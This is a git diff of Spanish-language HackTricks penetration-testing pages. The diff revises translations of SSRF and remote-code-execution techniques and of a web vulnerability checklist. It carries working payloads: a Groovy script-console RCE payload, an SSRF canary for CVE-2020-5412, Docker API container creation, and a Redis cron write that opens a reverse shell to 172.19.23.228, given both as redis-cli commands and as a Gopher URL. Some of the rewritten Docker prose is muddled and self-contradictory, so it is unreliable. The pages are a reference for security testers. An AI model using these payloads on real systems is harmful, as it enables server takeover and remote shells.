Un atacante puede aprovechar esta vulnerabilidad para cargar y ejecutar un script Groovy malicioso que contenga código malicioso. Esto puede permitir al atacante ejecutar comandos arbitrarios en el servidor y obtener acceso no autorizado al sistema.
|
||||
El atacante puede construir una URL maliciosa que contenga código Groovy y enviarla a la aplicación vulnerable. Cuando la aplicación intente evaluar o ejecutar el contenido de la URL, el código Groovy se ejecutará en el contexto del servidor, lo que permite al atacante ejecutar comandos arbitrarios.
|
||||
|
||||
Para evitar esta vulnerabilidad, es importante validar y filtrar cualquier entrada de usuario que se utilice para cargar y ejecutar scripts Groovy. Además, se recomienda deshabilitar la ejecución de scripts Groovy en entornos de producción, a menos que sea absolutamente necesario.
|
||||
Para prevenir este tipo de ataque, es importante validar y filtrar adecuadamente las URL proporcionadas por los usuarios antes de evaluar o ejecutar su contenido. Además, se recomienda deshabilitar o restringir el acceso a recursos internos sensibles desde el servidor, limitando así las posibles rutas de ataque.
|
||||
|
||||
Es importante tener en cuenta que esta vulnerabilidad específica solo se aplica a aplicaciones que utilizan Groovy como lenguaje de scripting y permiten la carga y ejecución dinámica de scripts Groovy. No todas las aplicaciones son vulnerables a este tipo de ataque.
|
||||
Es fundamental que los desarrolladores y administradores de sistemas estén al tanto de esta vulnerabilidad y tomen las medidas necesarias para proteger sus aplicaciones y servidores contra ataques de RCE a través de Groovy.
|
||||
```
|
||||
cmd = 'curl burp_collab'
|
||||
pay = 'public class x {public x(){"%s".execute()}}' % cmd
|
||||
|
|
@ -419,7 +412,7 @@ data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsec
|
|||
|
||||
Spring Cloud Netflix, versiones 2.2.x anteriores a 2.2.4, versiones 2.1.x anteriores a 2.1.6.
|
||||
|
||||
**SSRF Canary: CVE-2020-5412**
|
||||
**Canario SSRF: CVE-2020-5412**
|
||||
```bash
|
||||
/proxy.stream?origin=http://SSRF_CANARY/
|
||||
```
|
||||
|
|
@ -471,23 +464,23 @@ Si tienes un SSRF parcialmente ciego, puedes utilizar las siguientes rutas para
|
|||
```
|
||||
**RCE a través de la ejecución de una imagen de Docker arbitraria**
|
||||
|
||||
En algunos casos, los servidores vulnerables permiten a los usuarios ejecutar imágenes de Docker arbitrarias. Esto puede conducir a una ejecución remota de código (RCE) si se explota correctamente.
|
||||
En algunos casos, los servidores vulnerables a SSRF pueden permitir la ejecución de imágenes de Docker arbitrarias. Esto puede conducir a una vulnerabilidad de ejecución remota de código (RCE) si se explota correctamente.
|
||||
|
||||
Para aprovechar esta vulnerabilidad, primero necesitamos encontrar una forma de ejecutar comandos en el servidor. Una opción común es utilizar una función de ejecución de comandos del lenguaje de programación subyacente, como `exec()` en PHP.
|
||||
Para aprovechar esta vulnerabilidad, primero debemos encontrar una forma de enviar una solicitud SSRF al servidor objetivo. Una vez que hayamos logrado esto, podemos intentar ejecutar una imagen de Docker arbitraria utilizando la funcionalidad de Docker del servidor.
|
||||
|
||||
Una vez que tenemos la capacidad de ejecutar comandos en el servidor, podemos utilizar una imagen de Docker maliciosa para lograr la RCE. Esto se logra montando el directorio raíz del sistema de archivos del servidor como un volumen en el contenedor de Docker. Luego, podemos ejecutar comandos en el contenedor que interactúen con el sistema de archivos del servidor.
|
||||
Aquí hay algunos puntos a tener en cuenta al intentar explotar esta vulnerabilidad:
|
||||
|
||||
Aquí hay un ejemplo de cómo se puede lograr esto utilizando una imagen de Docker maliciosa:
|
||||
1. **Conexión a Docker**: Para ejecutar una imagen de Docker en el servidor, necesitaremos establecer una conexión con el demonio de Docker en el servidor. Esto se puede hacer utilizando la biblioteca Docker Engine API o herramientas como `docker-py` en Python.
|
||||
|
||||
```bash
|
||||
docker run -v /:/host -it malicious-image /bin/sh
|
||||
```
|
||||
2. **Imagen de Docker maliciosa**: Necesitaremos crear una imagen de Docker maliciosa que contenga el código que queremos ejecutar en el servidor objetivo. Esto puede incluir scripts maliciosos, herramientas de hacking o cualquier otro código que deseemos ejecutar.
|
||||
|
||||
En este ejemplo, montamos el directorio raíz del sistema de archivos del servidor como `/host` en el contenedor de Docker. Luego, ejecutamos un shell interactivo en el contenedor para interactuar con el sistema de archivos del servidor.
|
||||
3. **Construcción y carga de la imagen**: Una vez que tengamos la imagen de Docker maliciosa, debemos construirla y cargarla en el servidor objetivo. Esto se puede hacer utilizando comandos de Docker como `docker build` y `docker load`.
|
||||
|
||||
Una vez que tenemos acceso al sistema de archivos del servidor, podemos explorar y modificar archivos, ejecutar comandos y potencialmente obtener control total sobre el servidor.
|
||||
4. **Ejecución de la imagen**: Una vez que la imagen de Docker maliciosa esté en el servidor, podemos ejecutarla utilizando comandos de Docker como `docker run`. Esto ejecutará el código malicioso contenido en la imagen y nos dará acceso remoto al servidor objetivo.
|
||||
|
||||
Es importante tener en cuenta que esta técnica solo funcionará en servidores que permitan a los usuarios ejecutar imágenes de Docker arbitrarias. No todos los servidores serán vulnerables a esto, pero es una vulnerabilidad común que se encuentra en algunas plataformas.
|
||||
Es importante tener en cuenta que esta técnica solo funcionará en servidores que permitan la ejecución de imágenes de Docker arbitrarias. Además, es crucial asegurarse de que la imagen de Docker maliciosa no contenga ningún código dañino que pueda afectar negativamente al servidor o a otros sistemas.
|
||||
|
||||
En resumen, la ejecución de una imagen de Docker arbitraria a través de una vulnerabilidad de SSRF puede permitirnos lograr una vulnerabilidad de ejecución remota de código (RCE) en el servidor objetivo. Sin embargo, es importante tener cuidado al utilizar esta técnica y asegurarse de que se realiza de manera ética y responsable.
|
||||
```http
|
||||
POST /containers/create?name=test HTTP/1.1
|
||||
Host: website.com
|
||||
|
|
@ -510,6 +503,8 @@ El siguiente punto final permitirá a un atacante volcar todas las claves en el
|
|||
```bash
|
||||
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*
|
||||
```
|
||||
***
|
||||
|
||||
**Posible a través de Gopher**
|
||||
|
||||
## Redis
|
||||
|
|
@ -521,7 +516,7 @@ Lectura recomendada:
|
|||
* [Intentando hackear Redis a través de solicitudes HTTP](https://www.agarri.fr/blog/archives/2014/09/11/trying\_to\_hack\_redis\_via\_http\_requests/index.html)
|
||||
* [Exploits SSRF contra Redis](https://maxchadwick.xyz/blog/ssrf-exploits-against-redis)
|
||||
|
||||
**RCE a través de Cron** - [Superficies de ataque Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)
|
||||
**RCE a través de Cron** - [Superficies de Ataque Gopher](https://blog.chaitin.cn/gopher-attack-surfaces/)
|
||||
```bash
|
||||
redis-cli -h $1 flushall
|
||||
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
|
||||
|
|
@ -531,11 +526,11 @@ redis-cli -h $1 save
|
|||
```
|
||||
Gopher:
|
||||
|
||||
Gopher es un protocolo de red que permite a los clientes obtener y mostrar documentos de servidores remotos. Es similar a HTTP, pero más simple y menos utilizado en la actualidad. Sin embargo, algunos servidores aún pueden tener soporte para Gopher y podrían ser vulnerables a ataques de SSRF si no se configuran correctamente.
|
||||
Gopher es un protocolo de red que permite a los clientes obtener y mostrar documentos de servidores remotos. Es similar a HTTP, pero más simple y menos utilizado en la actualidad. Sin embargo, algunos servidores aún admiten el protocolo Gopher y pueden ser vulnerables a ataques de SSRF.
|
||||
|
||||
Para explotar una vulnerabilidad de SSRF en un servidor Gopher, el atacante puede enviar una solicitud maliciosa que incluya una URL de destino dentro de la solicitud Gopher. Si el servidor no valida adecuadamente la URL de destino y la procesa sin restricciones, el atacante puede aprovechar esto para realizar solicitudes a otros servidores y obtener información confidencial o realizar acciones no autorizadas.
|
||||
Para explotar una vulnerabilidad de SSRF en un servidor Gopher, el atacante puede enviar una solicitud maliciosa que incluya una URL de destino dentro de la solicitud Gopher. El servidor Gopher procesará la solicitud y realizará una solicitud a la URL de destino en nombre del atacante. Esto puede permitir al atacante acceder a recursos internos o realizar ataques a otros sistemas en la red.
|
||||
|
||||
Es importante tener en cuenta que no todos los servidores Gopher son vulnerables a SSRF. La vulnerabilidad depende de cómo se implemente y configure el servidor. Sin embargo, es una buena práctica asegurarse de que los servidores Gopher estén correctamente configurados y validen adecuadamente las URL de destino para evitar posibles ataques de SSRF.
|
||||
Es importante tener en cuenta que no todos los servidores Gopher son vulnerables a SSRF. Sin embargo, si se encuentra un servidor que admite el protocolo Gopher y permite solicitudes a URLs externas, es posible que exista una vulnerabilidad de SSRF que pueda ser explotada.
|
||||
```bash
|
||||
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
|
||||
```
|
||||
|
|
|
|||
|
|
@ -27,6 +27,7 @@ Hoy en día, las **aplicaciones web** suelen **utilizar** algún tipo de **proxi
|
|||
* [ ] [**Inclusión del lado del servidor/Inclusión del lado del borde**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [ ] [**Descubriendo Cloudflare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)
|
||||
* [ ] [**Inyección de servidor XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
||||
* [ ] [**Bypass de Protecciones de Proxy / WAF**](../proxy-waf-protections-bypass.md)
|
||||
|
||||
## **Entrada de usuario**
|
||||
|
||||
|
|
@ -43,13 +44,13 @@ Si los datos introducidos de alguna manera se reflejan en la respuesta, la pági
|
|||
* [ ] [**Inyección de comandos**](../command-injection.md)
|
||||
* [ ] [**CRLF**](../crlf-0d-0a.md)
|
||||
* [ ] [**Marcado colgante**](../dangling-markup-html-scriptless-injection/)
|
||||
* [ ] [**Inclusión de archivos/Travesía de ruta**](../file-inclusion/)
|
||||
* [ ] [**Inclusión de archivos/Traversing de rutas**](../file-inclusion/)
|
||||
* [ ] [**Redirección abierta**](../open-redirect.md)
|
||||
* [ ] [**Contaminación de prototipos para XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||
* [ ] [**Inclusión del lado del servidor/Inclusión del lado del borde**](../server-side-inclusion-edge-side-inclusion-injection.md)
|
||||
* [ ] [**Falsificación de solicitudes del lado del servidor**](../ssrf-server-side-request-forgery/)
|
||||
* [ ] [**Inyección de plantillas del lado del servidor**](../ssti-server-side-template-injection/)
|
||||
* [ ] [**Robo de pestañas inverso**](../reverse-tab-nabbing.md)
|
||||
* [ ] [**Secuestro de pestañas inverso**](../reverse-tab-nabbing.md)
|
||||
* [ ] [**Inyección de servidor XSLT**](../xslt-server-side-injection-extensible-stylesheet-languaje-transformations.md)
|
||||
* [ ] [**XSS**](../xss-cross-site-scripting/)
|
||||
* [ ] [**XSSI**](../xssi-cross-site-script-inclusion.md)
|
||||
|
|
@ -65,7 +66,7 @@ Algunas de las vulnerabilidades mencionadas requieren condiciones especiales, ot
|
|||
|
||||
Si la funcionalidad se puede utilizar para buscar algún tipo de datos dentro del backend, tal vez puedas (ab)usarla para buscar datos arbitrarios.
|
||||
|
||||
* [ ] [**Inclusión de archivos/Travesía de ruta**](../file-inclusion/)
|
||||
* [ ] [**Inclusión de archivos/Traversing de rutas**](../file-inclusion/)
|
||||
* [ ] [**Inyección NoSQL**](../nosql-injection.md)
|
||||
* [ ] [**Inyección LDAP**](../ldap-injection.md)
|
||||
* [ ] [**ReDoS**](../regular-expression-denial-of-service-redos.md)
|
||||
|
|
@ -142,7 +143,7 @@ Estas vulnerabilidades pueden ayudar a explotar otras vulnerabilidades.
|
|||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* Obtén el [**merchandising oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue